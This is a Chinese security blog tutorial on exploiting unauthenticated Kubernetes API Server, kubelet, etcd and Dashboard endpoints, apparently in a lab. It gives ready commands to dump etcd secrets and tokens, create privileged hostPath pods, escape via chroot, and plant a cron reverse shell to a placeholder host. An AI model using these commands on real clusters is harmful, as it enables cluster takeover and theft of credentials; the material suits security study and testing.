云安全之k8s未授权漏洞总结
一、k8s介绍
全称是 kubernetes,是谷歌在2014年推出的一种开源容器编排系统,后来捐赠给了云原生计算基金会(CNCF)。因将k后面的8个字母进行缩写后,被广泛简称为K8s。随着容器技术的发展,面临着容器数量庞大、难以管理的问题,K8s的推出很好的解决了这一问题,并且在容器编排系统中占据领先地位。
Kubernetes 的名字来源于希腊语,意为“舵手”或“领航员”,寓意着它在容器编排领域如同舵手一般,引领着容器化应用的运行(docker的logo是一个运输船)。
Master 节点:
Master节点是 Kubernetes 集群的控制节点,每个 Kubernetes 集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件,是 Kubernetes 集群的“大脑”。Master节点可以运行在集群中的任意一个节点上,但是最好将Master节点作为一个独立节点,不在该节点上创建容器,因为如果该节点出现问题导致宕机或不可用,整个集群的管理就会失效。
在Master节点上,通常会运行以下服务:
- API Server(kube-apiserver)
提供 HTTP Rest 接口,处理所有资源的增、删、改、查等操作,是集群控制的入口。 - etcd
分布式的键值存储系统,用于保存集群的配置数据和状态信息。 - Scheduler(kube-scheduler)
调度器,负责将新创建的 Pod 调度到合适的工作节点上运行,基于资源需求、约束条件等进行调度。 - Controller Manager(kube-controller-manager)
控制和管理器,运行多个控制器进程,如节点控制器、复制控制器等,确保集群状态符合期望状态。
Node 节点:
Node节点是Kubernetes集群的工作节点,每个集群中至少需要一台Node节点,它负责真正的运行Pod,当某个Node节点出现问题而导致宕机时,Master会自动将该节点上的Pod调度到其他节点。Node节点可以运行在物理机上,也可以运行在虚拟机中。
在Node节点上,通常会运行以下服务:
- kubelet
运行在每一个 Node 节点上的客户端,负责Pod对应的容器创建,启动和停止等任务,同时和Master节点进行通信,实现集群管理的基本功能。 - kube-proxy
实现 Kubernetes 服务(Service)的网络代理,负责负载均衡和网络通信。 - container runtime
负责运行和管理容器,常见的容器运行时有 Docker、containerd 等。
Pod:
是 Kubernetes 中最小的部署和调度单元。一个 Pod 可以包含一个或多个紧密相关的容器,这些容器共享网络(同一 IP 地址)和存储资源。Pod 设计为临时的,若其中的容器异常退出,Kubernetes 可以通过控制器自动重建它们。
一句话总结:
- Master:管事的(决策者)
- Node:干活的(执行者)
- Pod:干活的工具包(运行单元)
二、组件接口存在的风险
k8s 中的大多数组件以 HTTP 和 HTTPS 的 API 形式提供服务,常见端口如下:
组件 | 默认端口 | 说明 |
---|---|---|
API Server | 6443 | 基于 HTTP 的安全端口 |
API Server | 8080 | 不安全的 HTTP 端口 |
Kubelet | 10248 | 检查健康状态的端口 |
Kubelet | 10250 | 面向 API Server 提供服务的 HTTPS 端口 |
Kubelet | 10255 | 提供了pod和node的信息,接口以只读形式暴露出去,访问该端口不需要认证和鉴权 |
Dashboard | 8001 | 提供 HTTP 服务的端口 |
etcd | 2379 | 客户端与服务端之间通信的端口 |
etcd | 2380 | 不同服务端之间通信的端口 |
API Server 未授权访问
默认情况下,Kubernetes API Server 在两个端口提供服务:8080 和 6443
8080: insecure-port #以 HTTP 提供服务,无认证和授权机制,
6443: secure-port #以 HTTPS 提供服务,支持认证和授权服务。
如果配置不当,8080 和 6443端口都会存在未授权访问漏洞,只要网络可达,攻击者就能够通过这两个端口操控集群。
8080端口未授权访问
在较新版本的 Kubernetes 中,8080 端口的 HTTP 服务默认不启动,需要我们手动开启。
vim /etc/kubernetes/manifests/kube-apiserver.yaml
这里设置为0表示关闭,甚至在高版本的k8s中,直接将--insecure-port
这个配置删除了,需要手动添加。
这里将修改为8080,并添加配置
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
systemctl restart kubelet
访问 8080 端口即可看到存在未授权。
通过 kubectl -s 命令,查看node节点信息以及pod信息
kubectl -s ip:8080 get node
kubectl -s ip:8080:8080 get pod
执行命令
kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash
在高版本的k8s中,这种方法是不行的,连不上去
获取 service-account-token
/api/v1/namespaces/kube-system/secrets/
建立特权 Pod,进行逃逸:
本地创建 test.yaml 文件,内容如下:
apiVersion: v1
kind: Pod
metadata:name: nginx-deployment
spec:containers:- image: nginx:1.8name: containervolumeMounts:- mountPath: /mntname: testvolumes:- name: testhostPath:path: /
kubect -s https://your-ip:6443/ apply -f test.yaml
创建完成后,进入特权容器bash,然后就是利用挂载的目录写入定时任务,或者 chroot 逃逸了。
chroot /mnt
6443端口未授权访问
如果配置不当,将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。
正常情况下,直接访问 6443 端口会返回 403
执行以下命令将 “system:anonymous” 用户绑定到 “cluster-admin” 用户组
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
再次访问
获取所有Pod列表
/api/v1/namespaces/default/pods
获取token
/api/v1/namespaces/kube-system/secrets/
创建特权容器
POST /api/v1/namespaces/default/pods HTTP/1.1
Host: x.x.x.x:6443
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 1176{"apiVersion": "v1","kind": "Pod","metadata": {"annotations": {"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name": "sectest","namespace": "default"},"spec": {"containers": [{"image": "nginx:1.14.2","name": "test-4444","volumeMounts": [{"mountPath": "/host","name": "host"}]}],"volumes": [{"hostPath": {"path": "/","type": "Directory"},"name": "host"}]}
}
可以看到Pod创建成功:
使用 kubectl 查看所有Pod:
kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 get pods --all-namespaces
用户名和密码随意输入
查看所有Pod状态:
kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 describe pod --all-namespaces
获取bash:
kubectl.exe --insecure-skip-tls-verify -s https://IP:6443 --namespace=default exec -it sectest -- bash
可以通过 chroot 到宿主机shell,或者通过写入定时任务,反弹宿主机shell了。
kubelet API 未授权访问
10250未授权访问
端口 10250 是 Kubernetes 集群中 Kubelet 的默认端口。Kubelet 是 Kubernetes 集群中每个Node 节点上运行的主要“节点代理”,负责Pod对应的容器创建,启动和停止等任务,同时和 Master 节点进行通信,实现集群管理的基本功能。
Kubelet 的配置文件是 /var/lib/kubelet/config.yaml
。一般来说,我们在安装 Kubernetes 时会将 --anonymous-auth
设置为 false
,并在 authorization 中选择 mode 为 Webhook
。前一选项禁止匿名用户访问,后一选项则使 Kubelet 通过 API Server 进行授权(即使匿名用户能够访间,也几乎不具备任何权限)。
但是,一旦 --anonymous-auth
被设置为 true
,且 authorization.mode
被设置为 AlwaysAllow
这就非常危险了。
正常访问,10250端口提示未认证
修改配置后重启
此界面有时会泄露一些账户密码等敏感信息。
执行命令:
格式
curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"
这里需要三个参数
namespace:对应metadata.namespace
pod:对应metadata.name
container:对应spec.containers.0.name
通过https://IP:10250/runningpods/
获取三个参数:
10255未授权访问
kubelet 的只读端口,配置不当也会存在未授权的访问,允许恶意用户或应用程序查看节点上的一些敏感信息,如 Pod 日志和配置。尽管只读端口比完全的 kubelet API 服务器更受限制,但仍可能导致信息泄漏问题。
默认情况下 k8s 集群不对外开放10255端口,修改 /var/lib/kubelet/config.yaml
,新增如下内容,在最后一行加就行:
readOnlyPort: 10255
address: 0.0.0.0
重启 kubelet 服务后就能访问了。
获取pods信息
同样此界面有时会泄露一些账户密码等敏感信息。
10255端口是只读的,只能获取信息,无法对pod执行命令,读取token等操作。
Etcd 未授权
etcd 默认端口 2379,用于存储 k8s 集群中的所有配置数据和状态信息,如果管理员配置不当,导致 etcd 未授权访问的情况,那么攻击者就可以从 etcd 中获取 secrets&token 等关键信息,进而通过 kubectl 创建恶意 pod 从而接管集群。
在 etcd 的配置文件 /etc/kubernetes/manifests/etcd.yaml 中,--client-cert-auth
默认为 true,这意味着访问 etcd 服务需要携带 cert 进行认证(本地 127.0.0.1 可免认证访问)。
如果目标在启动 etcd 的时候没有开启证书认证选项,且 2379 端口直接对外开放的话,则存在 etcd 未授权访问漏洞。
PS:安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问。
Etcd常见风险包括:
- 启动etcd时,未使用client-cert-auth参数打开证书校验;
- Etcd 2379端口公网暴露;
- 由于SSRF漏洞导致Etcd 127.0.0.1:2379 可访问;
- Etcd cert泄露。
将client-cert-auth=true
改为false
,把listen-client-urls
监听修改为0.0.0.0
,将端口被暴露出去,导致etcd存在未授权访问漏洞。
vi /etc/kubernetes/manifests/etcd.yaml- --client-cert-auth=false- --listen-client-urls=http://0.0.0.0:2379
查看是否存在未授权访问:
https://your-ip:2379/version
-------------
返回如下则存在未授权访问:
{etcdserver: "3.4.3", etcdcluster: "3.4.0"}
https://your-ip:2379/v2/keys
-------------
返回如下则存在未授权访问:
{"action":"get","node":{"dir":true,"nodes":...}}
攻击过程:
1、下载 etcdctl 工具,以便通过命令行与 etcd 通信。
2、用 etcdctl 3.0 的 API,设置环境变量:
export ETCDCTL_API=3
3、通过命令行连接到目标 etcd 服务,列出存储的数据:
#读取etcd中存储的数据,通过--limit选项限制数量
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --limit=2
#获取k8s的secrets和token
./etcdctl --endpoints=192.168.44.138:2379 get / --prefix --keys-only |grep secrets
#找到对应的 key 后,再读取对应的值,以/registry/secrets/test/bypass-token-p6xpj为例:
./etcdctl --endpoints=192.168.44.138:2379 get /registry/secrets/test/bypass-token-p6xpj
获取高权限服务账号token
最终的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分。可以使用 curl 验证 token 的有效性:
curl --header "Authorization: Token" -X GET https://your-ip:6443/api -k
通过token访问API-Server,可进一步创建恶意Pod,获取集群管理员的权限。
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token=“[.token.]” -n kube-system get pods
接下来就可以创建一个恶意 Pod
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ \--token="[your-token]" -n kube-system run malicious-pod \--image=your-malicious-image \--restart=Never \--overrides='{"apiVersion": "v1","spec": {"containers": [{"name": "malicious","image": "your-malicious-image","securityContext": {"privileged": true},"volumeMounts": [{"name": "host","mountPath": "/host"}]}],"hostNetwork": true,"volumes": [{"name": "host","hostPath": {"path": "/","type": "Directory"}}]}}'
说明:
--insecure-skip-tls-verify:跳过 TLS 校验(在实验环境中可能使用)。
--token="[your-token]":用前面获取到的 token 替换 [your-token]。
-n kube-system:在 kube-system 命名空间中运行,通常该命名空间权限较高。
securityContext 的 privileged: true 允许容器拥有更多宿主机权限。
通过 volumeMounts 和 volumes,将宿主机的根目录挂载到容器内,从而可能访问宿主机上的敏感文件或配置。
进入 Pod
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[your-token]" -n kube-system exec -it malicious-pod -- /bin/sh
然后就可以利用挂载的宿主机文件系统,通过计划任务反弹宿主机shell。
Dashboard 未授权访问
k8s 的 Dashboard 是以基于网页的 k8s 用户界面,用户可获得运行在集群中应用的概览信息,并且图形化操纵 k8s 资源。Dashboard默认不安装,并且手动安装后只能通过执行了 kubectl proxy 的机器进行访问,但是当使用的 Dashboard 配置不当,或者部署低版本的 Dashboard 时选择了”跳过”选项,可能会导致一些未授权访问漏洞,此外,通过K8s API,或者集群的单点登录等方式访问 Dashboard。
通过6443端口进行访问:
https://IP:6443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/#/workloads?namespace=default
创建一个特权Pod,并且挂载宿主机根路径到/sechost下
配置文件:
apiVersion: v1
kind: Pod
metadata:name: sectest1
spec:containers:- name: hostpath-containerimage: nginx:1.14.1volumeMounts:- name: hostpath-volumemountPath: /sechostvolumes:- name: hostpath-volumehostPath:path: /
选择创建的Pod,点击执行
通过计划任务获得宿主机shell
chroot sechost
echo 'bash -i >& /dev/tcp/x.x.x.x/2333 0>&1' > /etc/cron.hourly/test.sh
chmod +x /etc/cron.hourly/test.sh
或者直接进入特权容器,特权容器可以挂载宿主机磁盘路径到容器中。
fdisk -l
mkdir /sechost
mount /dev/dm-0 /sechost/
chroot /sechost/
参考文章:
https://www.cnblogs.com/xiaozi/p/17939752
https://zone.huoxian.cn/d/1153-k8s
https://www.sumor.top/2023/06/15/K8s%E4%B8%8B%E7%9A%84%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98%E6%80%9D%E8%B7%AF/index.html
https://www.geekby.site/2021/11/k8s%E5%AE%89%E5%85%A8/#21-api-server-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE
相关文章:
云安全之k8s未授权漏洞总结
一、k8s介绍 全称是 kubernetes,是谷歌在2014年推出的一种开源容器编排系统,后来捐赠给了云原生计算基金会(CNCF)。因将k后面的8个字母进行缩写后,被广泛简称为K8s。随着容器技术的发展,面临着容器数量庞大…...
博客学术汇测试报告
Author:MTingle major:人工智能 Build your hopes like a tower! 目录 一.项目简介 二.开发技术 三.测试用例设计 四.自动化测试代码 common包 博客编辑 博客列表 登录页面 未登录测试 主函数 五.性能测试 六.测试总结 一.项目简介 该项目是一款基于 S…...
揭秘:父子组件之间的传递
基础知识 组件与组件之间有三大方面的知识点: 子组件通过props defineProps({})接收父组件传递到参数和方法;子组件可以通过定义 emit 事件,向父组件发送事件;父组件调用子组件通过defineExpose 导出的方法…...
leetcode 169.Majority Element
这道题虽然简单,但适合用来练习各种解法。《剑指offer》5.2节 面试题29与此题一样,并且给出了leetcode官方题解未给出的快速选择的解法。 方法一、用哈希表解决 class Solution { public:int majorityElement(vector<int>& nums) {unordered…...
魔改chromium——基础环境搭建
谷歌chromium环境要求详细文档 软件和环境要求,必须安装,硬性要求 系统环境:Windows 10,内存最小8GB,推荐16GB,NTFS格式磁盘最少100GB空间Git版本:安装最新版本即可,Git桌面端下载…...
[网络_1] 因特网 | 三种交换 | 拥塞 | 差错 | 流量控制
目录 一、网络、互连网与因特网 二、因特网发展 三、因特网的组成与功能 四、计算机网络的分类 五、因特网的标准化与意义 一、三种传输方式:电路交换 vs 报文交换 vs 分组交换 1. 电路交换(Circuit Switching)——像“打电话” 2. 报…...
android 何如查找内网设备 IP
前沿 最近在与嵌入式设备打交道,需要对设备进行配网。发现 UpnP 服务不稳定,经常收不到设备的信息。就想着能不能通过内网查找到 IP 后,直接与设备通信,不停的请求设备信息。 1.Android 端通过 UDP 组播(Multicast)查找设备 如果嵌入式设备支持 UDP 组播,Android 端可…...
Oracle数据库数据编程SQL<3.5 PL/SQL 存储过程(Procedure)>
存储过程(Stored Procedure)是 Oracle 数据库中一组预编译的 PL/SQL 语句集合,存储在数据库中并可通过名称调用执行。它们是企业级数据库应用开发的核心组件。 目录 一、存储过程基础 1. 存储过程特点 2. 创建基本语法 3. 存储过程优点 4. 简单示例 二、没有…...
六级词汇量积累day13
commend 表扬 exhaust 耗尽,用尽 weary 疲惫的,劳累的 fatigue 疲惫,劳累 obese 臃肿的,肥胖的 adopt 采纳,收养 adapt 适应 accomplish 完成,实现 accomplishment 成就 achieve 实现,完成 achi…...
蓝桥杯15届JAVA_A组
将所有1x1转化为2x2 即1x1的方块➗4 然后计算平方数 记得-1 2 import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.OutputStreamWriter; import java.io.PrintWriter;public class Main{static BufferedReader in new BufferedReader(new In…...
OpenCV图像输入输出模块imgcodecs(imwrite函数的用法)
《OpenCV计算机视觉开发实践:基于Python(人工智能技术丛书)》(朱文伟,李建英)【摘要 书评 试读】- 京东图书 3.2.3 imwrite保存图片 函数imwrite可以用来输出图像到文件,其声明如下: imwrite(filename,…...
win 远程 ubuntu 服务器 安装图形界面
远程结果:无法使用docker环境使用此方法 注意要写IP和:数字 在 ubuntu 服务器上安装如下: # 安装 sudo apt-get install tightvncserver # 卸载 sudo apt purge tightvncserver sudo apt autoremove#安装缺失的字体包: sudo apt update s…...
地下管线三维建模软件工具MagicPipe3D V3.6.1
经纬管网建模系统MagicPipe3D,基于二维矢量管线管点数据本地离线参数化构建地下管网三维模型(包括管道、接头、附属设施等),输出标准3DTiles、Obj模型等格式,支持Cesium、Unreal、Unity、Osg等引擎加载进行三维可视化、…...
vue子组件生命周期的执行顺序
在 Vue 中,子组件的生命周期钩子函数的执行顺序受父组件的影响,通常遵循**“先创建子组件,后创建父组件;先销毁父组件,后销毁子组件”**的原则。 1. 组件创建(挂载)阶段 当父组件挂载时&#x…...
【含文档+PPT+源码】基于微信小程序的在线考试与选课教学辅助系统
项目介绍 本课程演示的是一款基于微信小程序的在线考试与选课教学辅助系统,主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的 Java 学习者。 1.包含:项目源码、项目文档、数据库脚本、软件工具等所有资料 2.带你从零开始部署运行本套系统…...
树莓派超全系列文档--(17)树莓派配置显示器
树莓派配置显示器 显示支持 HDMI 显示器设置分辨率和旋转手动设置分辨率和旋转确定显示设备名称设置自定义分辨率设置自定义旋转 控制台分辨率和旋转 文章来源: http://raspberry.dns8844.cn/documentation 原文网址 显示 要配置 Raspberry Pi 使用非默认显示模式…...
python将pdf文件转为图片,如果pdf文件包含多页,将转化的多个图片通过垂直或者水平合并成一张图片
要将PDF文件转换为图片,并将多页PDF垂直合并成一张图片,可以使用PyMuPDF(也称为fitz)库来读取PDF文件,并使用Pillow库来处理和合并图片。以下是一个示例代码,展示了如何实现这个功能: 首先&…...
JVM基础原理
JVM是一个虚拟化的计算机,它可以执行Java字节码文件(.class文件),实现Java程序跨平台的特性。JVM负责将Java程序的字节码翻译成具体操作系统的机器码,从而能够在不同的平台上运行。JVM的核心原理涉及以下几个重要方面 …...
Miniforge3高效管理 Python环境:2025年最新实践指南
Miniforge3 高效管理 Python 环境:2025 年最新实践指南 在现代开发中,灵活高效地管理 Python 环境至关重要。Miniforge3 作为一款轻量级 Conda 管理工具,不仅默认采用更新更快的 conda-forge 软件源,还对 ARM 架构(例如 Apple M1/M2/M3)有着出色的适配性。相比于传统的 …...
31天Python入门——第17天:初识面向对象
你好,我是安然无虞。 文章目录 面向对象编程1. 什么是面向对象2. 类(class)3. 类的实例关于self 4. 对象的初始化5. __str__6. 类之间的关系继承关系组合关系 7. 补充练习 面向对象编程 1. 什么是面向对象 面向对象编程是一种编程思想,它将现实世界的概念和关系映…...
困于环中的机器人
************* c topic: 1041. 困于环中的机器人 - 力扣(LeetCode) ************* Inspect the topic first. And it looks really familiar with another robot topic. 657. 机器人能否返回原点 - 力扣(LeetCode)https://lee…...
阿里 FunASR 开源中文语音识别大模型应用示例(准确率比faster-whisper高)
文章目录 Github官网简介模型安装非流式应用示例流式应用示例 Github https://github.com/modelscope/FunASR 官网 https://www.funasr.com/#/ 简介 FunASR是一个基础语音识别工具包,提供多种功能,包括语音识别(ASR)、语音端…...
spring boot前后端开发上传文件时报413(Request Entity Too Large)错误的可能原因及解决方案
可能原因及解决方案 1. Spring Boot默认文件大小限制 原因:Spring Boot默认单文件最大为1MB,总请求体限制为10MB。解决方案: 在application.properties中配置:spring.servlet.multipart.max-file-size10MB # 单文件最大 spring…...
Transformer:破局山地暴雨预测的「地形诅咒」--AI智能体开发与大语言模型的本地化部署、优化技术
极端降雨预测的技术痛点与边缘破局 1. 传统预警系统的三重瓶颈 延迟致命:WRF模式在1km分辨率下3小时预报耗时>45分钟,错过山洪黄金响应期 地形干扰大:复杂地形区(如横断山脉)降水预测误差超50% 数据…...
游戏引擎学习第187天
看起来观众解决了上次的bug 昨天遇到了一个相对困难的bug,可以说它相当棘手。刚开始的时候,没有立刻想到什么合适的解决办法,所以今天得从头开始,逐步验证之前的假设,收集足够的信息,逐一排查可能的原因&a…...
05-02-自考数据结构(20331)- 动态查找-知识点
自考数据结构动态查找算法主要讲二叉树和平衡二叉树,但是感觉到了,就又续接了一部分,所以这篇备考的小伙伴着重看前两种就可以了。 知识拓扑 知识点介绍 二叉排序树(BST) 定义 二叉排序树(Binary Search Tree)又称二叉查找树,它或者是一棵空树,或者是具有下列性质的二…...
PyQt6实例_批量下载pdf工具_使用pyinstaller与installForge打包成exe文件
目录 前置: 步骤: step one 准备好已开发完毕的项目代码 step two 安装pyinstaller step three 执行pyinstaller pdfdownload.py,获取初始.spec文件 step four 修改.spec文件,将data文件夹加入到打包程序中 step five 增加…...
NVR接入录像回放平台EasyCVR视频融合平台城市/乡镇污水处理厂解决方案
一、方案背景 随着经济的快速发展和城市化的加快,城市污水排放量急剧增加,给城市环境和粮食安全带来了威胁。因此,污水处理厂的建设和高效运营成为对城市环境保护的重要任务。 目前,国内许多城市虽已建成污水处理系统࿰…...
Vue2 vs Vue3 生命周期全面对比:created 的进化与革新!!!
🎯 Vue2 vs Vue3 生命周期全面对比:created 的进化与革新 🔥 核心差异全景图 一、钩子函数命名与定位变化 1. 命名规范革新 Vue2 钩子Vue3 钩子 (Options API)Vue3 Composition APIbeforeCreate❌ 无setup() 替代created✅ 保留setup() 替代…...
Ubuntu 22.04安装MongoDB:GLM4模型对话数据收集与微调教程
在Ubuntu 22.04安装MongoDB Community Edition的教程请点击下方链接进行参考: 点击这里获取MongoDB Community Edition安装教程 今天将为大家带来如何微调GLM4模型并连接数据库进行对话的教程。快跟着小编一起试试吧~ 1. 大模型 ChatGLM4 微调步骤 1.1 从 github…...
并查集(Union-Find Set)课程笔记
目录 1. 并查集原理 2. 并查集的实现 3. 并查集应用 应用 1:省份数量问题 应用 2:等式方程的可满足性 1. 并查集原理 并查集用于处理需要将不同元素划分成若干不相交集合的问题。最开始时,每个元素都是单独的一个集合,随后根…...
算法刷题记录——LeetCode篇(1.4) [第31~40题](持续更新)
更新时间:2025-03-29 算法题解目录汇总:算法刷题记录——题解目录汇总技术博客总目录:计算机技术系列博客——目录页 优先整理热门100及面试150,不定期持续更新,欢迎关注! 32. 最长有效括号 给你一个只包…...
【区块链安全 | 第十四篇】类型之值类型(一)
文章目录 值类型布尔值整数运算符取模运算指数运算 定点数地址(Address)类型转换地址成员balance 和 transfersendcall,delegatecall 和 staticcallcode 和 codehash 合约类型(Contract Types)固定大小字节数组&#x…...
一款超级好用且开源免费的数据可视化工具——Superset
认识Superset 数字经济、数字化转型、大数据等等依旧是如今火热的领域,数据工作有一个重要的环节就是数据可视化。 看得见的数据才更有价值! 现如今依旧有多数企业号称有多少多少数据,然而如果这些数据只是呆在冷冰冰的数据库或文件内则毫无…...
android gradle一直编译不下来,可能是打开了gradle离线模式
gradle离线模式 当然,如果本地已经将gradle,lib都下载下来了,也可以打开这个离线模式,不然重启AS的时候可能会重新走一次下载流程...
(C语言)学生信息表(学生管理系统)(基于通讯录改版)(正式版)(C语言项目)
1.首先是头文件: //student.h //头文件//防止头文件被重复包含#pragma once//宏定义符号常量,方便维护和修改 #define ID_MAX 20 #define NAME_MAX 20 #define AGE_MAX 5 #define SEX_MAX 5 #define CLA_MAX 20 //定义初始最大容量 #define MAX 1//定义结…...
【Linux】Linux 系统启动流程详解
1. BIOS/UEFI 阶段 硬件自检(POST) BIOS/UEFI 执行硬件检查(内存、CPU、外设等)。若硬件异常,通过蜂鸣码或屏幕提示错误。 选择启动设备 按配置顺序(硬盘、U盘、网络等)寻找可引导设备。BIOS&a…...
Jetson 设备卸载 OpenCV 4.5.4 并编译安装 OpenCV 4.2.0
一、卸载 OpenCV 4.5.4 清除已安装的 OpenCV 库 sudo apt-get purge libopencv* python3-opencv # 卸载所有APT安装的OpenCV包:ml-citation{ref"1,3" data"citationList"}sudo apt autoremove # 清理残留依赖:ml-citation{ref"1,4"…...
【计算机网络】OSI七层模型完全指南:从比特流到应用交互的逐层拆解
OSI模型 导读一、概念二、模型层次结构2.1 物理层(Physical Layer)2.2 数据链路层(Data Link Layer)2.3 网络层(Network Layer)2.4 传输层(Transport Layer)2.5 会话层&…...
渗透测试:登录页面的测试-弱口令思路和实战
渗透测试:登录页面的测试思路和实战 渗透测试(Penetration Testing),也称为“渗透性测试”,是一种评估计算机系统、网络或Web应用安全性的一种方法。它通过模拟真实世界中的攻击手段和策略,来检测目标系统…...
Android BottomNavigationView 完全自定义指南:图标、文字颜色与选中状态
1. 核心功能概述 通过 Material Design 的 BottomNavigationView,你可以轻松实现以下自定义: ✅ 动态切换选中/默认图标 ✅ 自定义选中与默认文字颜色 ✅ 控制文字显示模式(始终显示/仅选中显示/自动隐藏) ✅ 添加动画和高级样…...
提示词工程
参考网站:提示工程指南 – Nextra 声明:我现在也才刚刚开始学习 人工智能,我会着重于 agent 的学习,如果有不对的地方请大家及时指出。 模型设置 前言 在向大模型发送请求时,常常能看到以下参数: {&qu…...
分页查询原理与优化方案完全指南
分页查询原理与优化方案完全指南 一、分页查询基础原理 1.1 传统分页实现方式 分页查询的核心目的是将大数据集分割成多个小块进行展示,最常见的实现方式是使用LIMIT-OFFSET语法: -- 基础分页查询 SELECT * FROM table_name ORDER BY id LIMIT page_size OFFSET (page_n…...
嵌入式软件设计规范框架(MISRA-C 2012增强版)
以下是一份基于MISRA-C的嵌入式软件设计规范(完整技术文档框架),包含编码规范、安全设计原则和工程实践要求: 嵌入式软件设计规范(MISRA-C 2012增强版) 一、编码基础规范 1.1 文件组织 头文件保护 /* 示…...
课程6. 决策树
课程6. 决策树 决策树直觉模型结构几何解释决策树的构建ID3算法信息内容标准使用决策树处理差距推广到回归问题分支标准与经典损失函数的关系 过度拟合和欠拟合欠拟合过拟合 优点和缺点案例随机生成数据集分类IRIS 数据集解决回归问题的一个简短例子 决策树 今天我们继续探索一…...
【UE5.3.2】初学1:适合初学者的入门路线图和建议
3D人物的动作制作 大神分析:3D人物的动作制作通常可以分为以下几个步骤: 角色绑定(Rigging):将3D人物模型绑定到一个骨骼结构上,使得模型能够进行动画控制。 动画制作(Animation):通过控制骨骼结构,制作出人物的各种动作,例如走路、跳跃、打斗等。 动画编辑(Ani…...
OpenCV 图形API(4)内核 API
操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 G-API 背后的核心理念是可移植性——使用 G-API 构建的流水线必须是可移植的(或者至少具备可移植的能力)。这意味着&…...
pom.xml与.yml,java配置参数传递
pom.xml与 .yml java配置参数传递 在Java项目中,通过 pom.xml 和 .yml 文件(如 application.yml)传递变量通常涉及 构建时(Maven)和 运行时(Spring Boot)两个阶段的配置。以下是具体的实现方法&…...
LeetCode算法题(Go语言实现)_21
题目 给你一个整数数组 arr,如果每个数的出现次数都是独一无二的,就返回 true;否则返回 false。 一、代码实现 func uniqueOccurrences(arr []int) bool {freq : make(map[int]int)// 统计每个数字的出现次数for _, num : range arr {freq[n…...
Docker部署前后端分离项目
镜像下载 在有网络的电脑下载镜像(Windows):依次在CMD命令台执行以下代码 docker pull node:20docker pull openjdk:22-jdkdocker pull mysql:8.0docker pull nginx:1.27 删除镜像代码: docker rmi node:latest 查看镜像列表…...